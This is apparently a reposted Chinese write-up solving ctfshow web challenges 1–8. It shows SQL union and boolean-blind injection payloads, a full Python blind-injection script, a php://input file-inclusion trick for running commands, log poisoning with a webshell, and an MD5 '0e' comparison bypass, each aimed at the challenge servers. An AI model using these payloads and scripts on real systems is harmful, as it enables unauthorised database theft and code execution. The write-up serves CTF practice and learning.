Ctf_show Web[1-8]


CTFshow_web1:

F12查看JS即在代碼里

CTFshow_web2:

進入網址后頁面如下:

image-20210208113734857

①:嘗試使用admin登陸,發現頁面無回顯

②:嘗試單引號閉合,並且添加' or 1=1#,此時在后台查詢語句應該為:

SELECT * FROM users where user='admin' or 1=1#&passwd=

條件為真即出現回顯,如圖:

image-20210208114819738

③:通過查詢語句【admin' or 1=1 order by x #】來判斷列數,最終得到有3列

④:因為有回顯,所以考慮聯合查詢注入,查詢語句為【admin' or 1=1 union select 1,2,3 #】,顯示如下,所以2號位有回顯

image-20210208115545270

⑤:通過2號位回顯去獲取數據庫更多的信息,具體查詢語句如下:

admin' or 1=1 union select 1,database(),3 # 
admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
admin' or 1=1 union select 1,group_concat(column_name),3 from 
information_schema.tables where table_name='flag' #
admin' or 1=1 union select 1,group_concat(flag),3 from flag #

⑥:依次回顯結果如下:

database:web2
tables:flag,user
column:flag
ctf:ctfshow{7b448282-01e0-47d2-8b8a-4fbe3bc76ebb} 

CTFshow_web3:

①:打開頁面后發現是一個文件包含的題目:

image-20210208122626569

②:嘗試訪問/etc/passwd,/var/log/nginx/access.log

③:嘗試日志包含寫入一句話木馬,發現被過濾了敏感字符:<>()[]''

③:使用偽協議php://input,寫入操作指令,又考慮到是GET請求,所以在burp里抓包修改:

image-20210208124701628

返回結果如下:

ctf_go_go_go index.php

再次使用偽協議查詢:

image-20210208124746803

得到旗幟:

ctfshow{bea28caa-2287-4360-b9a9-3a3516f33476}

知識點回顧:

php://input偽協議:php://input 是個可以訪問請求的原始數據的只讀流。通俗來講是將文件包含漏洞變成命令執行,一般與POST結合,與GET結合在Burp里使用較方便

CTFshow_web4:

同web3,只不過過濾了php等協議,使用日志注入可以得到,通過蟻劍或者菜刀連接,得到Flag

CTFshow_web5:

打開網頁后發現是一條代碼審計的題目,關鍵語句如下:

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

題目要求位v1,v2 md5編碼同,但是v1得是全字符,v2得是全數字

考慮md5碰撞,即v1,v2md5后均以0e開頭

則輸入

http://fe4405b1-ecd4-4cab-ba59-ec5e20bf9dfc.chall.ctf.show:8080/?v1=QNKCDZO&v2=240610708

獲得旗幟

CTFshow_web6:

字符型注入,過濾空格,用/**/替換即可其他步驟同web2

CTFshow_web7:

字符型注入,過濾了空格,雙引號

http://3ce03932-8cc0-4775-bd47-8917c5efd019.chall.ctf.show:8080/?id=1'/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/flag#

CTFshow_web8:

考查的是bool盲注,並且過濾了空格,雙引號,構造payload進行自動化腳本注入

注意點:

①:自動化腳本的核心是payload,首先要判斷字符型注入和數字型注入,然后根據正確的payload去跑代碼

②:當過濾了 (0,1)時,可以使用from 0,for 1,過濾了雙引號可以使用16進制進行替換

#!/usr/bin/python
#-*- encoding: utf-8 -*-
import requests
url="http://1c2fdfff-d246-41dd-8e8a-70b65692521d.chall.ctf.show:8080/index.php?id=-1"
dbPayload="/**/or/**/ascii(substr(database()/**/from/**/{0}/**/for/**/1))={1}"
tbPayload="/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{0}/**/for/**/1))={1}"
cuPayload="/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{0}/**/for/**/1))={1}"
alPayload="/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{0}/**/for/**/1))={1}"
def Getal(url):
    Gurl=url+alPayload
    print("開始破解所有元素:")
    Allname=""
    for i in range(1,100):
        temp_len=len(Allname)
        for j in range(41,128):
            Durl=Gurl.format(i,j)
            r=requests.get(Durl)
            if 'By Rudyard Kipling' in r.text:
                Allname+=chr(j)
                print("破解中的元素名:",Allname)
                break
        if temp_len==len(Allname):
            print("破解成功,旗幟為:",Allname)
            break
    return Allname
def Dable(url):
​
    Durl = url + dbPayload
    print("開始破解數據庫:")
    Dablename=""
    for i in range(1,50):
        temp_len=len(Dablename)
        for j in range(41,128):
            Turl=Durl.format(i,j)
            r=requests.get(Turl)
            if 'By Rudyard Kipling' in r.text:
                Dablename+=chr(j)
                print("破解中的數據庫名:",Dablename)
                break
        if temp_len==len(Dablename):
            print("破解成功,數據庫名為:",Dablename)
            break
    return Dablename
def Table(url):
    Aurl=url+tbPayload
    Tablename=""
    print("開始破解數據表:")
    for i in range(1,50):
        temp_len=len(Tablename)
        for j in range(40,128):
            Turl=Aurl.format(i,j)
            r=requests.get(Turl)
            if 'By Rudyard Kipling' in r.text:
                Tablename+=chr(j)
                print("破解中的數據表名",Tablename)
                break
        if temp_len==len(Tablename):
            print("破解成功,數據庫表名為:",Tablename)
            break
    return
def Cuable(url):
    Mnurl=url+cuPayload
    Cumname=""
    print("開始破解數據列:")
    for i in range(1,50):
        temp_len=len(Cumname)
        for j in range(40,128):
            Courl=Mnurl.format(i,j)
            r=requests.get(Courl)
            if 'By Rudyard Kipling' in r.text:
                Cumname+=chr(j)
                print("破解中的數據列名",Cumname)
                break
        if temp_len==len(Cumname):
            print("破解成功,數據列名為:",Cumname)
            break
    return Cumname
if __name__ == '__main__':
​
  Dable(url)
  Table(url)
  Cuable(url)
  Getal(url)

反思:web8如果使用暴力破解花費的時間較大,其實可以使用二分法,大幅度縮短運行時間,並且在判斷頁面是否正確還可以通過判斷返回文章長度,例如:

success_len=len(requests.get(url).text)
....
....
    for i in range(1,50):
        for j in range(40,128):
            Courl=Mnurl.format(i,j)
            r=len(requsets,get(Courl).text)
            if r==success_len:
            ......

此外使用range()函數比使用字典判斷更好一方面代碼更加美觀,另一方面避免字典遺漏部分字符的問題

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM